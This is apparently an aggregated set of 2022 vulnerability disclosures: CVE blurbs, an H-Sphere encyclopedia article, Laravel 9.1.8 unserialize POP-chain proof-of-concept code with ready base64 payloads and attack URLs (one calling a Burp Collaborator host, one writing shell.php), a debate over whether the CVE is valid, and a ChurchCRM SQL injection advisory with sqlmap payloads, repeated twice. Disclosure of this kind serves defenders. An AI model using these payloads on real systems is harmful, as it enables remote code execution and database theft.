The Advanced Uploader WordPress plugin through 4.2 allows any authenticated users like subscriber to upload arbitrary files, such as PHP, which could lead to RCE

CVE-2022-1103

Parallels H-Sphere 3.6.1713 allows XSS via the index_en.php from parameter.

H-Sphere

Stable release

3.6.2 / May 15, 2013

Written in

Java

Operating system

Linux, FreeBSD, Windows

Type

Web hosting control panel

License

proprietary

Website

http://www.parallels.com/products/hsphere/

**H-Sphere** is a web hosting Automation Control Panel for shared web hosting services that was developed by Positive Software and acquired by Parallels, Inc. in September 2007.\[1\] It is available for Linux, Unix, and Windows environments, and works with MySQL, PostgreSQL, and Microsoft SQL Server databases. H-Sphere has been written in Java and works with any SQL-compliant database.

**Features\[edit\]**

*   Built-in billing system with variety of payment methods
*   Various hosting solutions (\*nix and Windows, database, load balancing, RealMedia, MS Exchange, SharePoint, FreeVPS, etc.)
*   Electronic mail system with antivirus and antispam filtering and integrated WebMail
*   Around 30 Payment gateways and 6 E-Payment Providers supported
*   Integrated support center
*   Multiple user tools
*   Integrated PHP/MySQL applications, both built-in and by means of add-ons\[2\]

**Advantages\[edit\]**

*   **Scalable multiserver cluster**: different physical and logical servers (web, mail, DNS etc.) are managed from one control panel. More servers can be added on the fly.
*   **Multilingual support** includes English, German, Dutch, French, Italian, Spanish, Russian, Portuguese (Brazil), and several other languages integrated by means of add-ons.
*   H-Sphere is recognized for **end-user features** availability, such as mail system, site building tools, SSL, etc. "Beginning webmasters may find H-Sphere too complicated for their needs. More advanced users, however, appreciate the features and control that H-Sphere offers the end user."
*   H-Sphere may give place to other panels as regards its ease of use, but not its **online documentation**.
*   H-Sphere has enlisted a community of **online supporters** who name it among their favorite control panels.\[3\]
*   Integrated Backup capability with the ClusterLogics system created by Cartika

**Disadvantages\[edit\]**

*   Licenses for H-Sphere accounts are more expensive than those of its competitors. Though, it is noted that H-Sphere licenses are reusable and sold for a cluster, not for a server, as with Ensim Pro.
*   Some customers state H-Sphere has too many advanced features and thus is a too complicated solution for small hosting companies, especially as a single server installation. While others note that H-Sphere advantages are more demonstrable on multi-server clusters.
*   On a single server mode H-Sphere consumes more server resources than other major single server control panels.\[4\]
*   H-Sphere control panel interface extensively uses JavaScript. Some reviewers regard it as a disadvantage.\[5\]
*   H-Sphere control panel by default works on non-standard 8080 and 8443 ports that may be blocked by client-side firewalls; but this can easily be changed in the configuration.
*   H-Sphere (like cPanel, but unlike Plesk) provides online file source editing, however with H-Sphere only allows editing of .txt or .html files and without line numbers in edit mode, thus limiting PHP and other script editing possibilities.

**other webhosting control panel software\[edit\]**

*   Baifox
*   cPanel
*   DirectAdmin
*   Hosting Controller
*   ispCP
*   ISPConfig
*   Kloxo
*   Plesk
*   SysCP
*   Webmin

**See also\[edit\]**

*   Parallels, the maintainers of H-Sphere
*   Web hosting control panel
*   Comparison of web hosting control panels

**References\[edit\]**

1.  **^** "Parallels Newsroom". 28 February 2020.
2.  **^** "Archived copy". Archived from the original on 2007-01-17. Retrieved 2007-05-24.{{cite web}}: CS1 maint: archived copy as title (link) CS1 maint: bot: original URL status unknown (link) 24/7 Solutions.
3.  **^** h-sphere control panels on WHTop.com
4.  **^** Post here, your favorite Control Panel. WebHostingTalk Forums.
5.  **^** "Hosting Obzor". Archived from the original on 2007-06-09. Retrieved 2007-05-24.

**External links\[edit\]**

CVE-2022-30777: H-Sphere

atmail 6.5.0 allows XSS via the index.php/admin/index/ error parameter.

CVE-2022-30776

In the POST request of the appointment.php page of HMS v.0, there are SQL injection vulnerabilities in multiple parameters, and database information can be obtained through injection.

       

This is a Startup Project. May contain Bugs.

**INSTALLATION**

1.  Download and Unzip files To Localhost Folder.
2.  Import Database.

Run Project Through Xampp and Browser.

**Demo**

https://kabir.infantinventory.com/hms

CVE-2022-30012: GitHub - kabirkhyrul/hms at 1.0

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in Illuminate\Broadcasting\PendingBroadcast.php and dispatch($command) in Illuminate\Bus\QueueingDispatcher.php.

> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30778

**Build a route to test:**

routes/web.php ：

<?php

use Illuminate\\Support\\Facades\\Route;

/\*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
\*/

Route::get('/', function (\\Illuminate\\Http\\Request $request) {
//    return view('welcome');
    $ser = base64\_decode($request\->input("ser"));
    unserialize($ser);
    return "ok";
});

**poc**

<?php
namespace Illuminate\\Contracts\\Queue{
    interface ShouldQueue
    {
        //
    }
}

namespace Illuminate\\Bus{
    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = \[\];
        protected $handlers = \[\];
        protected $queueResolver;
        function \_\_construct()
        {
            $this\->queueResolver = "system";

        }
    }
}

namespace Illuminate\\Broadcasting{

    use Illuminate\\Contracts\\Queue\\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function \_\_construct()
        {

        }
    }
    class PendingBroadcast{
        protected $events;
        protected $event;
        function \_\_construct()
        {
            $this\->event = new BroadcastEvent();
            $this\->event\->connection = "ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net";
            $this\->events = new \\Illuminate\\Bus\\Dispatcher();
        }
    }
}
namespace{
    $a = new \\Illuminate\\Broadcasting\\PendingBroadcast();
    echo base64\_encode(serialize($a));
}

result :

    Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo3MDoicGluZyAtbmMgMSBsYXJhdmVsLm1lNDBwOXZ4d2piczdtYXk4czZwdWlwZ2U3a3g4bS5idXJwY29sbGFib3JhdG9yLm5ldCI7fX0=
    

**attack**

http://127.0.0.1:1080/?ser=Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo3MDoicGluZyAtbmMgMSBsYXJhdmVsLm1lNDBwOXZ4d2piczdtYXk4czZwdWlwZ2U3a3g4bS5idXJwY29sbGFib3JhdG9yLm5ldCI7fX0=

So, why was a CVE issued for this?

I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?

> I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?

@caendesilva If successfully exploited, an attacker would be able to perform remote code execution. In the example above this is demonstrated by running the ping command, which is a harmless way to confirm.

A malicious attacker could execute any command. This could be used to spawn a reverse shell, read and write files, access .env credentials, pivot to the database, etc.

Successful exploitation would require the use of unserialize within your laravel application and passing untrusted user input to that. While not recommended, it's also not unheard of.

> > I don't see an attack scenario here. Could you describe in what way this is destructive or gives unintended effects?
> 
> @caendesilva If successfully exploited, an attacker would be able to perform remote code execution. In the example above this is demonstrated by running the ping command, which is a harmless way to confirm.
> 
> A malicious attacker could execute any command. This could be used to spawn a reverse shell, read and write files, access .env credentials, pivot to the database, etc.
> 
> Successful exploitation would require the use of unserialize within your laravel application and passing untrusted user input to that. While not recommended, it's also not unheard of.

Thank you so much for the explanation. What confused me is that the ping command is entered from within your backend code. Are you claiming that the following string ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net can be entered and then executed by an attacker through the example route?

Are you aware of any instances in "official" (as in code maintained by the Laravel org) codebases where this is used? From your reply I know that my codebase does not contain this vulnerability, but if it is present in say Laravel Jetstream, that's something that should be noted.

The main problem I see is that a POP chain is NEVER a vulnerability by itself. The vulnerability would be to call unserialiase() to deserialise unvalidated input. But this instance doesn't appear in the code, hence it should not even be considered valid for a CVE.

It's really a nice finding tho. Just doesn't make sense to have it as a CVE, because... it's not a vulnerability.

> Are you claiming that the following string ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net can be entered and then executed by an attacker through the example route?

That is correct, by using the PoC to generate a base64 payload we can pass that to the example route. I have not personally reviewed all the laravel maintained codebases, but anywhere unserialize accepts user controlled input would be vulnerable.

> The main problem I see is that a POP chain is NEVER a vulnerability by itself. The vulnerability would be to call unserialiase() to deserialise unvalidated input. But this instance doesn't appear in the code, hence it should not even be considered valid for a CVE.
> 
> It's really a nice finding tho. Just doesn't make sense to have it as a CVE, because... it's not a vulnerability.

So having code execution on unserialize is a feature ?

> So having code execution on unserialize is a feature ?

The official PHP docs warn of this.  

This also reflects Taylor Otwell's response when I asked if he was aware of this CVE.

> On Tuesday, May 17th, 2022 at 12:06, taylorotwell taylor@laravel.com wrote:
> 
> Passing unsanitized user input to unserialize is never safe in PHP.

Of note: Snyk points to this being the vulnerable code in question.

> Affected versions of this package are vulnerable to Deserialization of Untrusted Data via an unserialize pop chain in \_\_destruct and dispatch($command).

@pasterp If you deserialise untrusted data, it's your fault for doing that. If there is whatever POP chain in your code, you may allow an attacker to execute arbitrary code, but the POP chain just makes the vulnerability worse, it DOES NOT constitute the vulnerability.

To make an example, if you have a stack buffer overflow, you can exploit it with a ROP chain, but the vulnerability is not the ROP chain, it is the bloody stack buffer overflow.  
Saying that the POP chain is the vulnerability is like saying that the ROP chain is the vulnerability, and that's false.

Calling unserialise on untrusted data is a vulnerability.

Copy link

** **pqlx** commented May 17, 2022 •**

I think there should be some serious thought about revoking this CVE.

As pointed out, there is no security boundary being breached here. Passing arbitrary data to unserialize has always been classified as "unsafe". That the Laravel core framework just happens to have a few classes that you could readily use in such a scenario does not constitute a vulnerability on their part.

Besides, there's no real fix for people using unserialize inappropriately anyway. As @klezVirus points out, it's analogous to something like ROP gadgets. (Framework) developers can keep patching their classes to not do stuff in e.g. __construct or __destruct, but besides making code more complex (and maybe eliminating low-hanging fruit), there are always going to be more complex chains that give the attacker more control. It is a fundamental issue with unserialize.

> So having code execution on unserialize is a feature ?

No it's not. But it's not necessarily a vulnerability either. If someone were to pass unsafe user input into an exec() call, that would be a vulnerability in that persons code, but it's not a vulnerability within PHP.

If there are any usages in the Laravel core framework that actually has code akin to this, then yeah it should be a CVE. But since it does not seem to be so, this is not any more of a vulnerability in Laravel as the following is:

// Obviously DON'T actually do this in a real app
Route::get('/', function (\\Illuminate\\Http\\Request $request) {
    echo shell\_exec($request\->input('name'));
});

While my example above for sure is a vulnerability in my code (if it was actually deployed), it's not a vulnerability within Laravel, or even PHP.

@caendesilva I'd argue comparing exec to unserialize is an apples to oranges comparison and not really the best analogy for what is happening here.

While I agree it's not best practice to pass untrusted user input to unserialize, doing that alone does not automatically create a path for exploitation.

So just to clarify as we also got the snyk alert. The vulnerability here is that there exists a class in Laravel which will do code execution when called, but that the only route to call it is via unserialize which is not passed untrusted user input in laravel itself. So it isn't reachable unless a user (developer) calls unserialize() on untrusted input which is bad idea anyway (according to the docs and common sense).

I'm here too because of snyk. Is there any solution to this?

> I'm here too because of snyk. Is there any solution to this?

@oreillysean Check your code for any areas that might use unserialize and accept user input. If none are found you can mark it as ignored in Synk since it's not applicable to you.

this is for Laravel 9.1.8 only ?  
if yes, Snyk raised a false alert for my 8.83.12 Laravel ?

> @GlitchWitch yes I agree with you. However would this not fix the issue as stated in the CVE oreillysean/framework@57c5f57

I haven't had a chance to test, but perhaps it would be worth submitting your proposed fix as a PR for the Laravel team to review.

CVE-2022-30778: Laravel 9.1.8 POP chain · Issue #1 · 1nhann/vulns

Laravel 9.1.8, when processing attacker-controlled data for deserialization, allows Remote Code Execution via an unserialize pop chain in __destruct in GuzzleHttp\Cookie\FileCookieJar.php.

> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30779

**build a route to test:**

routes/web.php ：

<?php

use Illuminate\\Support\\Facades\\Route;

/\*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
\*/

Route::get('/', function (\\Illuminate\\Http\\Request $request) {
//    return view('welcome');
    $ser = base64\_decode($request\->input("ser"));
    unserialize($ser);
    return "ok";
});

**poc**

<?php

namespace GuzzleHttp\\Cookie{
    class SetCookie
    {
        private static $defaults = \[
            'Name'     => null,
            'Value'    => null,
            'Domain'   => null,
            'Path'     => '/',
            'Max-Age'  => null,
            'Expires'  => null,
            'Secure'   => false,
            'Discard'  => false,
            'HttpOnly' => false
        \];
        function \_\_construct()
        {
            $this\->data\['Expires'\] = '<?php phpinfo();?>';
            $this\->data\['Discard'\] = 0;
        }
    }
    class CookieJar{
        private $cookies = \[\];
        private $strictMode;
        function \_\_construct()
        {
            $this\->cookies\[\] = new SetCookie();
        }
    }
    class FileCookieJar extends CookieJar{
        private $filename;
        private $storeSessionCookies;
        function \_\_construct()
        {
            parent::\_\_construct();
            $this\->filename = "d:/var/www/untitled/public/shell.php";
            $this\->storeSessionCookies = true;
        }
    }
}
namespace{
    $a = new \\GuzzleHttp\\Cookie\\FileCookieJar();
    echo base64\_encode(serialize($a));
}

result :

    TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6MzY6ImQ6L3Zhci93d3cvdW50aXRsZWQvcHVibGljL3NoZWxsLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO3M6MzY6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAY29va2llcyI7YToxOntpOjA7TzoyNzoiR3V6emxlSHR0cFxDb29raWVcU2V0Q29va2llIjoxOntzOjQ6ImRhdGEiO2E6Mjp7czo3OiJFeHBpcmVzIjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6NzoiRGlzY2FyZCI7aTowO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7Tjt9
    

**attack**

http://127.0.0.1:1080/?ser=TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6MzY6ImQ6L3Zhci93d3cvdW50aXRsZWQvcHVibGljL3NoZWxsLnBocCI7czo1MjoiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAc3RvcmVTZXNzaW9uQ29va2llcyI7YjoxO3M6MzY6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAY29va2llcyI7YToxOntpOjA7TzoyNzoiR3V6emxlSHR0cFxDb29raWVcU2V0Q29va2llIjoxOntzOjQ6ImRhdGEiO2E6Mjp7czo3OiJFeHBpcmVzIjtzOjE4OiI8P3BocCBwaHBpbmZvKCk7Pz4iO3M6NzoiRGlzY2FyZCI7aTowO319fXM6Mzk6IgBHdXp6bGVIdHRwXENvb2tpZVxDb29raWVKYXIAc3RyaWN0TW9kZSI7Tjt9

CVE-2022-30779: Laravel 9.1.8 POP chain2 · Issue #2 · 1nhann/vulns

Hospital Management System v1.0 was discovered to contain a SQL injection vulnerability via the delid parameter at viewtreatmentrecord.php.

**DATE : 4/6/22****Web App : https://github.com/kabirkhyrul/HMS****Version : 1.0****Researcher : cyber\_homeless****Path : viewtreatmentrecord.php?delid=1****Security issue : SQLInjection**

While installing the web app i saw bunch of sql connection's so i went for SQLInjection and soon enough found one : 

Exploiting this vulnerability is pretty easy now using sqlmap: 

Payload : 1' AND (SELECT 6895 FROM (SELECT(SLEEP(5)))juDk) AND 'GPzW'='GPzW

CVE-2022-28929: vulnerabilitys/HMS at main · cyberhomeless/vulnerabilitys

A SQL injection vulnerability exists in ChurchCRM version 2.0.0 to 4.4.5 that allows an authenticated attacker to issue an arbitrary SQL command to the database through the unsanitized EN_tyid, theID and EID fields used when an Edit action on an existing record is being performed.

*   Sat, May 14, 2022
*   4-minute read

**Summary**

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    Product:                   Church Web CRM
    Manufacturer:              ChurchCRM
    Affected Version(s):       ChurchCRM 2.0.0 <= 4.4.5 
    Tested Version(s):         4.4.5
    Vulnerability Type:        SQL Injection (CWE-89) 
    Risk Level:                High
    Solution Status:           Unfixed
    Manufacturer Notification: 2021-09-16
    Solution Date:             n/a
    Public Disclosure:         2022-05-14
    CVE Reference:             CVE-2021-41965
    Author of Advisory:        Alexander Bilz
    

**Overview**

The manufacturer describes the product as follows (see 1):

> “An OpenSource CRM System Built for Churches. Your Church can benefit from giving your staff and volunteers the tools they need to make every interaction more valuable.”

The software comes with an abundance of features relevant to churches and managing a congregation. Among others it allows to conduct:

*   Conduct Fundraisers
*   Manage Church Members
*   Publish Events
*   Manage Sunday Schools

The source code can be found on ChurchCRM’s GitHub account 2.

ChurchCRM is vulnerable to SQL injection attacks due to a lack of input validation and no additional protection mechanisms.

**Vulnerability Details**

Church CRM allows its users to schedule church events, such as church services, Sunday school or summer camps. Once an event has been created it can also be edited and deleted again through the events page.

Hereby, it was detected that the parameter EID, which is sent along when editing an existing entry, is susceptible to an SQL injection attack. On edit, data is posted to the EventEditor.php where it is executed on the database.

Similarly, the EN_tyid parameter of the EditEventTypes.php and theID of the EventNames.php endpoint can be abused for injecting arbitrary SQL queries.

Different types of SQL injection techniques can be applied, including:

*   Boolean-based blind
*   Time-based blind

The vulnerable functionality is only accessible when authenticated.

**Proof of Concept (PoC)**

As a proof of concept, the EN\_tyid parameter, which is sent when an event is edited, will be abused to query the database management system using sqlmap 3.

Let’s start with the HTTP request I had captured in Burp Suite.

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    POST /churchcrm/EditEventTypes.php HTTP/1.1  
    Host: <IP>  
    Content-Length: 21  
    Cache-Control: max-age=0  
    Upgrade-Insecure-Requests: 1  
    Origin: http://<IP> 
    Content-Type: application/x-www-form-urlencoded  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
    Referer: http://<IP>/churchcrm/EventNames.php  
    Accept-Encoding: gzip, deflate  
    Accept-Language: en-US,en;q=0.9  
    Cookie: <Cookie Value>  
    Connection: close  
    EN_tyid=4&Action=Edit
    

This request could then be passed to sqlmap for injecting the EN_tyid parameter.

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    ┌──(kali㉿kali)-[~/ChurchCRM] 
    └─$ sqlmap -r churchcrm.txt -p EN_tyid -dbs 
            ___ 
           __H__                                                                  
     ___ ___[,]_____ ___ ___  {1.5.5#stable}                                      
    |_ -| . [.]     | .'| . |                                                     
    |___|_  [)]_|_|_|__,|  _|                                                     
          |_|V...       |_|   http://sqlmap.org                                   
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 
    [*] starting @ 10:42:27 /2021-09-16/ 
    [10:42:27] [INFO] parsing HTTP request from 'churchcrm.txt' 
    [10:42:28] [INFO] resuming back-end DBMS 'mysql'  
    [10:42:28] [INFO] testing connection to the target URL 
    sqlmap resumed the following injection point(s) from stored session: 
    --- 
    Parameter: EN_tyid (POST) 
        Type: time-based blind 
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) 
        Payload: EN_tyid=4' AND (SELECT 8001 FROM (SELECT(SLEEP(5)))vpfX) AND 'KFAy'='KFAy&Action=Edit 
        Type: UNION query 
        Title: Generic UNION query (NULL) - 9 columns 
        Payload: EN_tyid=-8227' UNION ALL SELECT NULL,CONCAT(0x7162766a71,0x58587254614b525a474f487269586c6d55424859667574764267587a484c79595a78496f66665959,0x7178706271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&Action=Edit 
    --- 
    [10:42:29] [INFO] the back-end DBMS is MySQL 
    web application technology: Apache 2.4.48, PHP 7.3.30 
    back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) 
    [10:42:29] [INFO] fetching database names 
    [10:42:31] [INFO] retrieved: 'information_schema' 
    [10:42:32] [INFO] retrieved: 'test' 
    [10:42:33] [INFO] retrieved: 'churchcrm' 
    available databases [3]:                                                     
    [*] churchcrm 
    [*] information_schema 
    [*] test 
    [10:42:33] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.11.170'                                           
    [*] ending @ 10:42:33 /2021-09-16/
    

**Disclosure Timeline**

I had reached out immediately to the vendor via email on 2021-09-16, who never replied to my request. Following a responsible disclosure approach, I decided to file for a CVE and ultimately disclose the vulnerability publicly.

The overall timeline for disclosing this vulnerability was as follows:

*   2021-09-16: Vulnerability discovered
*   2021-09-16: Vulnerability reported to the manufacturer
*   2022-05-02: CVE has been reserved
*   2022-05-14: Public disclosure of the vulnerability

**Credits**

This security vulnerability was found by Alexander Bilz.

*   E-Mail: mail\[at\]alexbilz.com
*   Public Key: https://www.alexbilz.com/ABilz.asc
*   Key ID: 0X474CECFD3DBC6880
*   Key Fingerprint: 6C0E A8D0 C428 ED1D 8C2E C4A0 474C ECFD 3DBC 6880

**Disclaimer**

The information provided in this security advisory is provided “as is” and without warranty of any kind. Details of this security advisory may be updated to provide as accurate information as possible.

**References**

1.  Product website for ChurchCRM http://churchcrm.io/ ↩︎
    
2.  ChurchCRM CRM Sourcecode https://github.com/ChurchCRM/CRM ↩︎
    
3.  Link to sqlmap https://sqlmap.org/ ↩︎

CVE-2021-41965: SQL Injection Vulnerability in ChurchCRM (CVE-2021-41965)

*   Sat, May 14, 2022
*   4-minute read

**Summary**

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    Product:                   Church Web CRM
    Manufacturer:              ChurchCRM
    Affected Version(s):       ChurchCRM 2.0.0 <= 4.4.5 
    Tested Version(s):         4.4.5
    Vulnerability Type:        SQL Injection (CWE-89) 
    Risk Level:                High
    Solution Status:           Unfixed
    Manufacturer Notification: 2021-09-16
    Solution Date:             n/a
    Public Disclosure:         2022-05-14
    CVE Reference:             CVE-2021-41965
    Author of Advisory:        Alexander Bilz
    

**Overview**

The manufacturer describes the product as follows (see 1):

> “An OpenSource CRM System Built for Churches. Your Church can benefit from giving your staff and volunteers the tools they need to make every interaction more valuable.”

The software comes with an abundance of features relevant to churches and managing a congregation. Among others it allows to conduct:

*   Conduct Fundraisers
*   Manage Church Members
*   Publish Events
*   Manage Sunday Schools

The source code can be found on ChurchCRM’s GitHub account 2.

ChurchCRM is vulnerable to SQL injection attacks due to a lack of input validation and no additional protection mechanisms.

**Vulnerability Details**

Church CRM allows its users to schedule church events, such as church services, Sunday school or summer camps. Once an event has been created it can also be edited and deleted again through the events page.

Hereby, it was detected that the parameter EID, which is sent along when editing an existing entry, is susceptible to an SQL injection attack. On edit, data is posted to the EventEditor.php where it is executed on the database.

Similarly, the EN_tyid parameter of the EditEventTypes.php and theID of the EventNames.php endpoint can be abused for injecting arbitrary SQL queries.

Different types of SQL injection techniques can be applied, including:

*   Boolean-based blind
*   Time-based blind

The vulnerable functionality is only accessible when authenticated.

**Proof of Concept (PoC)**

As a proof of concept, the EN\_tyid parameter, which is sent when an event is edited, will be abused to query the database management system using sqlmap 3.

Let’s start with the HTTP request I had captured in Burp Suite.

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    POST /churchcrm/EditEventTypes.php HTTP/1.1  
    Host: <IP>  
    Content-Length: 21  
    Cache-Control: max-age=0  
    Upgrade-Insecure-Requests: 1  
    Origin: http://<IP> 
    Content-Type: application/x-www-form-urlencoded  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
    Referer: http://<IP>/churchcrm/EventNames.php  
    Accept-Encoding: gzip, deflate  
    Accept-Language: en-US,en;q=0.9  
    Cookie: <Cookie Value>  
    Connection: close  
    EN_tyid=4&Action=Edit
    

This request could then be passed to sqlmap for injecting the EN_tyid parameter.

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    ┌──(kali㉿kali)-[~/ChurchCRM] 
    └─$ sqlmap -r churchcrm.txt -p EN_tyid -dbs 
            ___ 
           __H__                                                                  
     ___ ___[,]_____ ___ ___  {1.5.5#stable}                                      
    |_ -| . [.]     | .'| . |                                                     
    |___|_  [)]_|_|_|__,|  _|                                                     
          |_|V...       |_|   http://sqlmap.org                                   
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program 
    [*] starting @ 10:42:27 /2021-09-16/ 
    [10:42:27] [INFO] parsing HTTP request from 'churchcrm.txt' 
    [10:42:28] [INFO] resuming back-end DBMS 'mysql'  
    [10:42:28] [INFO] testing connection to the target URL 
    sqlmap resumed the following injection point(s) from stored session: 
    --- 
    Parameter: EN_tyid (POST) 
        Type: time-based blind 
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) 
        Payload: EN_tyid=4' AND (SELECT 8001 FROM (SELECT(SLEEP(5)))vpfX) AND 'KFAy'='KFAy&Action=Edit 
        Type: UNION query 
        Title: Generic UNION query (NULL) - 9 columns 
        Payload: EN_tyid=-8227' UNION ALL SELECT NULL,CONCAT(0x7162766a71,0x58587254614b525a474f487269586c6d55424859667574764267587a484c79595a78496f66665959,0x7178706271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&Action=Edit 
    --- 
    [10:42:29] [INFO] the back-end DBMS is MySQL 
    web application technology: Apache 2.4.48, PHP 7.3.30 
    back-end DBMS: MySQL >= 5.0.12 (MariaDB fork) 
    [10:42:29] [INFO] fetching database names 
    [10:42:31] [INFO] retrieved: 'information_schema' 
    [10:42:32] [INFO] retrieved: 'test' 
    [10:42:33] [INFO] retrieved: 'churchcrm' 
    available databases [3]:                                                     
    [*] churchcrm 
    [*] information_schema 
    [*] test 
    [10:42:33] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.11.170'                                           
    [*] ending @ 10:42:33 /2021-09-16/
    

**Disclosure Timeline**

I had reached out immediately to the vendor via email on 2021-09-16, who never replied to my request. Following a responsible disclosure approach, I decided to file for a CVE and ultimately disclose the vulnerability publicly.

The overall timeline for disclosing this vulnerability was as follows:

*   2021-09-16: Vulnerability discovered
*   2021-09-16: Vulnerability reported to the manufacturer
*   2022-05-02: CVE has been reserved
*   2022-05-14: Public disclosure of the vulnerability

**Credits**

This security vulnerability was found by Alexander Bilz.

*   E-Mail: mail\[at\]alexbilz.com
*   Public Key: https://www.alexbilz.com/ABilz.asc
*   Key ID: 0X474CECFD3DBC6880
*   Key Fingerprint: 6C0E A8D0 C428 ED1D 8C2E C4A0 474C ECFD 3DBC 6880

**Disclaimer**

The information provided in this security advisory is provided “as is” and without warranty of any kind. Details of this security advisory may be updated to provide as accurate information as possible.

**Copyright**

Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en

**References**

1.  Product website for ChurchCRM http://churchcrm.io/ ↩︎
    
2.  ChurchCRM CRM Sourcecode https://github.com/ChurchCRM/CRM ↩︎
    
3.  Link to sqlmap https://sqlmap.org/ ↩︎

Tag

#php